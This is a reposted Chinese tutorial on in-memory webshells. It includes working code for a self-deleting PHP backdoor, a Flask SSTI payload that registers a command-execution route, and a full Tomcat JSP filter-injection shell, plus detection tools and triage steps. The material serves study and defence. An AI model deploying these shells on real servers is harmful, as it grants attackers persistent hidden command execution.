内存马分析(转载)
经过近几年护网演练各种攻防对抗的开展,各个厂商对于传统的webshell文件都有很强的检测模型及检测技术,而内存马却不容易被检测到,本次小编整理了各类内存Webshell工具的使用方法和各类内存Webshell的识别方法。以便大家可以更加了解内存马的原理,而且如果真的不幸被植入内存马,也能更及时的解决。
内存Webshell简介
内存webshell相比于常规webshell更容易躲避传统安全监测设备的检测,通常被用来做持久化,规避检测,持续驻留目标服务器。无文件攻击、内存Webshell、进程注入等基于内存的攻击手段也受到了大多数攻击者青睐。
内存webshell原理
本篇文章主要讨论的为Webshell脚本类内存马。其原理是先由客户端发起一个web请求,中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作,内存马利用请求过程在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode达到持久化的控制服务器。
PHP内存马
php内存马原理:
php内存马也就是php不死马是将不死马启动后删除本身,在内存中执行死循环,使管理员无法删除木马文件。本次演示是将php不死马放到web目录下访问后及执行会在本地循环生成php一句话木马。
检测思路:
-
检查所有php进程处理请求的持续时间
-
检测执行文件是否在文件系统真实存在
代码:
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = ‘<?php @eval($_POST["zzz"]) ?>’;
file_put_contents("22.php", $content);
usleep(10000);
}
?>
函数说明:
-
ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行,如果设置为 true,则忽略与用户的断开。
-
set_time_limit()函数:设置允许脚本运行的时间,单位为秒。如果设置为0(零),没有时间方面的限制。
-
unlink(__FILE__)函数:删除文件。
-
file_put_contents函数:将一个字符串写入文件。
-
usleep函数:延迟执行当前脚本若干微秒(一微秒等于一百万分之一秒)。
php不死马实战:
图:将php不死马放到web目录下
图:访问代码执行成功并生成后门
图:执行完生成php一句话木马
图:菜刀连接成功及时删掉22.php也会再次生成
对于不死马,直接删除脚本是没有用的,因为php执行的时候已经把脚本读进去解释成opcode运行了。使用条件竞争写入同名文件进行克制不死马。
图:将usleep改为小于php不死马的参数
图:查看22.php已修改成叹号
Python内存马
Python内存马原理:
Python内存马利用flask框架中ssti注入来实现,flask框架中在web应用模板渲染的过程中用到render_template_string()进行渲染但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现python内存马的注入。
实战步骤:
简单编写一个flask sstl实例,内容是访问/index加上content参数就会被渲染,渲染的content内容是用户可控,利用这点生成内存马。
图:环境代码
payload:
http://127.0.0.1:5000/index?=content{{a.__init__.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell1%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}
函数和属性解析
-
__class__:返回调用的参数类型
-
__bases__:返回基类列表
-
__builtins__:内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等
-
__globals__:以字典的形式返回函数所在的全局命名空间所定义的全局变量,这里的函数可以是类class的构造函数如__init__,也可以是flask的函数如url_for等。
-
add_url_rule注册了一个/shell的路由,__init__相当于构造函数,定义自己的属性,通过__init__.__globals__得到他们的命名空间从而得到builtins就可以执行内置函数如eval, exec, open等。
图:URL生成Flask内存马
图:访问shell执行命令
检测思路:
-
查看所有内建模块中是否包含eval、exec等可以执行代码的函数如:class ‘warnings.catch_warnings’、class 'site.Quitter'等。
-
检测self.add_url_rule()中特殊名字的路由如shell等。
Java内存马
filter型内存马原理:
Filter:FIlter为过滤器可以对用户的一些请求进行拦截修改等操作。当web.xml中注册了一个Filter来对某个 Servlet 程序进行拦截处理时该 Filter 可以对Servlet 容器发送给 Servlet 程序的请求和 Servlet 程序回送给 Servlet 容器的响应进行拦截,可以决定是否将请求继续传递给 Servlet 程序,以及对请求和相应信息进行修改。filter型内存马是将命令执行的文件通过动态注册成一个恶意的filter,这个filter没有落地文件并可以让客户端发来的请求通过它来做命令执行。
filter检测思路:
-
带有特殊含义的filter的名字比如shell等。
-
Filter的优先级,filter内存马需要将filter调至最高
-
查看web.xml中有没有filter配置
-
检测特殊的classloader
-
检测classloader路径下没有class文件
-
检测Filter中的doFilter方法是否有恶意代码
filter内存马实战:
这里我们将公开的filter类型的内存马文件直接上传到tomcat网站下,访问内存马后就植入成功了,植入成功后在删掉相对的jsp文件也不会影响内存马的运行,但是重启tomcat服务器后内存马即失效。注入成功后在路径后加入?cmd=后跟命令即可。
内存马代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>
<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->
<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
<%@ page import = "javax.servlet.*" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.util.Map" %>
<%
class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
%>
<%
//从org.apache.catalina.core.ApplicationContext反射获取context方法
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
String name = "filterDemo";
//判断是否存在filterDemo1这个filter,如果没有则准备创建
if (filterConfigs.get(name) == null){
//定义一些基础属性、类名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
//添加filterDef
standardContext.addFilterDef(filterDef);
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/zzz ,也可以所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/zzz");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
//反射创建FilterConfig,传入standardContext与filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filter名和配置好的filterConifg传入
filterConfigs.put(name,filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected!");
}
%>
图:成功植入内存马返回命令截图
Java内存马查杀
这里推荐几款内存马查杀工具
-
java-memshell-scanner:通过jsp脚本扫描并查杀各类中间件内存马。
地址:https://github.com/c0ny1/java-memshell-scanner
只需要将tomcat-memshell-scanner.jsp放在可能被注入内存马的web录下,然后使用浏览器访问即可直接获得扫描结果。
图:测试扫描结果可查杀servlet型和filter型
2.cop.jar工具 地址:https://github.com/LandGrey/copagentcop.jar
工具使用思路:首先可以先看result.txt中标记高危的class,cop.jar工具会把所有的文件都还原成jsp文件,可以用D盾等webshell查杀工具进行扫描。
只需要将cop.jar工具放在运行tomcat的服务器上运行cop.jar工具会识别你正在运行的应用列举出来由你自己选择ID,运行后会在同目录下生成.copagent目录储存结果。
图:tomcat服务运行cop.jar工具
图:cop.jar运行结束生成.copagent目录结果
图:result.txt显示所有的类及危险等级
图:在java目录下或class文件夹下会保存木马以及运行的类
图:还原出哥斯拉的内存马
图:D盾扫描结果
3.arthas-boot.jar工具地址:https://github.com/alibaba/arthas
工具使用思路:arthas-boot.jar工具可以先排除可疑名字的servlet和filter节点,如攻击者隐藏的更深需要将所有的类都反编译导出来然后逐一排查。
是Alibaba开源的Java诊断工具,在线排场问题,无需重启;动态跟踪java代码;实时监控jvm状态。采用命令行交互模式,提供丰富的Tab自动补全功能,进一步方便进行问题的定位和诊断。
图:运行arthas工具
图:mbean命令查看servlet异常节点
图:mbean命令查看filter异常节点
图:sc命令可以查找到所有JVM已经加载到的类
图:sc命令可以打印出类加载的具体信息
图:通过jad反编译指定已加载类的源码还原出filter内存马
4.java VisualVM工具:是一款免费的,集成了多个 JDK 命令行工具的可视化工具,它能为您提供强大的分析能力,对 Java 应用程序做性能分析和调优。这些功能包括生成和分析海量数据、跟踪内存泄漏、监控垃圾回收器、执行内存和 CPU 分析,同时它还支持在 MBeans 上进行浏览和操作。本文主要介绍如何使用 VisualVM 进行性能分析及调优。
安装JDK后会自带此工具需要用到VisualVM的MBeans插件。此工具可以在本地查看也可以通过远程查看,本次演示本地查看内存马。
图:VisualVM在JDK的bin目录下
图:将下载好的MBeans插件导入进去
图:在tomcat上配置参数
图:点击添加JMX连接加上端口号即可
图:通过VisualVM找到测试filter型内存马
图:通过VisualVM找到测试servlet型内存马
内存马排查思路
先判断是通过什么方法注入的内存马,可以先查看web日志是否有可疑的web访问日志,如果是filter或者listener类型就会有大量url请求路径相同参数不同的,或者页面不存在但是返回200的,查看是否有类似哥斯拉、冰蝎相同的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。通过查找返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马。如在web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的error.log日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
0x00 动机仓库主要分享一下学习内存马以来的成果:
- 几个jsp文件,可以直接注入tomcat的listener、filter、servlet内存马
- spring mvc 结合JNDI注入可以使用的java代码,通过java恶意类可以注入litener、filter、servlet、controller和interceptor内存马(tomcat环境下)
看了大佬们的无私技术分享文章,学到很多东西,所以把收集的文章列举在后面,respect !免责0x01 文章汇总在学习的过程中,又想到了内存马结合菜刀和冰蝎的使用,所以研究了一下写了一篇文章(联动冰蝎的具体代码可以见仓库内的controller内存马)针对spring mvc的controller内存马-学习和实验(注入菜刀和冰蝎可用的马https://www.cnblogs.com/bitterz/p/14820898.html跟着landgrey大佬的文章走了一遍spring mvc的拦截器添加和调用过程,记录了一下针对Spring MVC的Interceptor内存马https://www.cnblogs.com/bitterz/p/14859766.html然后是学习阶段看的文章:filter内存马
- 中间件内存马注入&冰蝎连接(附更改部分代码)
- filter内存马技术https://blog.csdn.net/localhost01/article/details/107340698
- 基于Tomcat无文件Webshell研究
- Tomcat内存马学习 一http://wjlshare.com/archives/1529
- Tomcat 内存马学习(二):结合反序列化注入内存马http://wjlshare.com/archives/1541
- Java安全之基于Tomcat实现内存马https://www.cnblogs.com/nice0e3/p/14622879.html
servlet内存马
listener型
- Tomcat下基于Listener的内存Webshell分析http://foreversong.cn/archives/1547
Spring controller内存马
- 基于内存 Webshell 的无文件攻击技术研究https://www.anquanke.com/post/id/198886#h2-6
Spring Interceptor内存马
- 利用 intercetor 注入 spring 内存 webshellhttps://landgrey.me/blog/19/
其它前提研究-获取request对象
- 基于tomcat的内存 Webshell 无文件攻击技术https://xz.aliyun.com/t/7388
- Tomcat中一种半通用回显方法https://xz.aliyun.com/t/7348
Weblogic注入内存马
- 中间件内存马注入&冰蝎连接(附更改部分代码)
- weblogic 无文件webshell的技术研究https://www.cnblogs.com/potatsoSec/p/13162792.html
java agent内存马
- 利用“进程注入”实现无文件复活 WebShellhttps://www.freebuf.com/articles/web/172753.html
内存马查杀
- Tomcat 内存马检测https://www.anquanke.com/post/id/219177
- 查杀Java web filter型内存马https://gv7.me/articles/2020/kill-java-web-filter-memshell/
- Filter/Servlet型内存马的扫描抓捕与查杀https://gv7.me/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/
- 基于javaAgent内存马检测查杀指南https://www.77169.net/html/278275.html
- https://github.com/alibaba/arthas
- https://github.com/LandGrey/copagent
- https://github.com/c0ny1/java-memshell-scanner
- https://syst1m.com/post/memory-webshell/